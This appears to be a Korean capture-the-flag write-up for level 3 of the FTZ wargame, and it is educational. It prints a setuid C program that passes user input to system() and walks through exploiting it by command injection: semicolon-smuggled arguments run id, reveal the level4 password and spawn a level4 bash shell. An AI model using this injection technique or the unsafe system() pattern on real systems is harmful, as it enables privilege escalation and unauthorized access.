February 3, 2020

FTZ_3 Write UP

[level3@ftz level3]$ ls
hint  public_html  tmp

[level3@ftz level3]$ cat hint


다음 코드는 autodig의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char **argv){

    char cmd[100];

    if( argc!=2 ){
        printf( "Auto Digger Version 0.9\n" );
        printf( "Usage : %s host\n", argv[0] );
        exit(0);
    }

    strcpy( cmd, "dig @" );
    strcat( cmd, argv[1] );
    strcat( cmd, " version.bind chaos txt");

    system( cmd );

}

이를 이용하여 level4의 권한을 얻어라.

more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?


[level3@ftz level3]$




level4의 권한을 얻기 위해 힌트를 살펴보면, C언어 코드로 system 함수를 사용하여 권한을 얻을 수 있다.

코드의 로직을 구체적으로 살펴보면, 프로그램 실행 시 인자 한 개를 입력받습니다. 이때 인자를 전달하지 않으면, 프로그램은 종료됩니다.

strcpy 함수를 통해 cmd 배열에 "dig @" 문자열이 복사되고, strcat 함수를 통해 사용자에게 전달받은 인자를 합치며, 그 뒤에는 " version.bind chaos txt" 문자열이 연결됩니다.

즉, system("dig @인자 version.bind chaos txt") 형태로 함수가 실행됩니다.




[level3@ftz level3]$ find / -perm +4000 -user level4 2>/dev/null
/bin/autodig
[level3@ftz level3]$ ls -la /bin/autodig
-rwsr-x---    1 level4   level3      12194  9월 10  2011 /bin/autodig
[level3@ftz level3]$ /bin/autodig
Auto Digger Version 0.9
Usage : /bin/autodig host
[level3@ftz level3]$ /bin/autodig blog.d0ngd0nge.xyz

; <<>> DiG 9.2.1 <<>> @blog.d0ngd0nge.xyz version.bind chaos txt
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 42359
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;version.bind.			CH	TXT

;; ANSWER SECTION:
version.bind.		0	CH	TXT	"DNSServer"

;; AUTHORITY SECTION:
version.bind.		0	CH	NS	version.bind.

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:00:17 2020
;; MSG SIZE  rcvd: 66

우선 level4 권한으로 setuid 설정된 파일을 찾기 위해 "find" 명령을 사용하여 찾습니다.

"/bin/autodig" 프로그램 실행 시 인자로 DNS 조회할 도메인을 받습니다.

이때 도메인을 입력하지 않으면 프로그램을 종료되고, 반대로 입력을 하게 되면 DNS를 조회하여 값을 반환하게 됩니다.




[level3@ftz level3]$ /bin/autodig "blog.d0ngd0nge.xyz; id; "

; <<>> DiG 9.2.1 <<>> @blog.d0ngd0nge.xyz
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 21852
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.				IN	NS

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:14:59 2020
;; MSG SIZE  rcvd: 17

uid=3004(level4) gid=3003(level3) groups=3003(level3)
sh: line 1: version.bind: command not found

[level3@ftz level3]$

blog.d0ngd0nge.xyzid 인자를 전달할 때 두 개가 전달되므로, 더블 쿼터(")로 감싸 하나의 인자의 문자열로 전달해주고, 세미콜론(;)을 사용하여 우회하여 다른 명령을 실행시킬 수 있습니다.

/bin/autodig "blog.d0ngd0nge.xyz; id; " 에서 /bin/autodig "blog.d0ngd0nge.xyz; 함수가 먼저 실행되고, 뒤에 id 함수가 실행이 되어 level4 권한으로 실행되는걸 확인할 수 있습니다.




[level3@ftz level3]$ /bin/autodig "blog.d0ngd0nge.xyz; my-pass; "

; <<>> DiG 9.2.1 <<>> @blog.d0ngd0nge.xyz
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 12610
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.				IN	NS

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:23:42 2020
;; MSG SIZE  rcvd: 17

Level4 Password is "suck my brain".

sh: line 1: version.bind: command not found

[level3@ftz level3]$

앞전 id 명령어 대신 my-pass 함수를 실행하여, level4 계정의 패스워드를 획득할 수 있습니다.




[level3@ftz level3]$ /bin/autodig "blog.d0ngd0nge.xyz; /bin/bash; "

; <<>> DiG 9.2.1 <<>> @blog.d0ngd0nge.xyz
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 46039
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;.				IN	NS

;; Query time: 1 msec
;; SERVER: 183.109.94.101#53(blog.d0ngd0nge.xyz)
;; WHEN: Sat Jan 18 02:25:44 2020
;; MSG SIZE  rcvd: 17

[level4@ftz level3]$ id
uid=3004(level4) gid=3003(level3) groups=3003(level3)

[level4@ftz level3]$

하지만 level4 권한의 shell을 계속 유지를 하고 싶다면 인자에 "/bin/bash"를 전달하여 shell을 유지할 수 있습니다.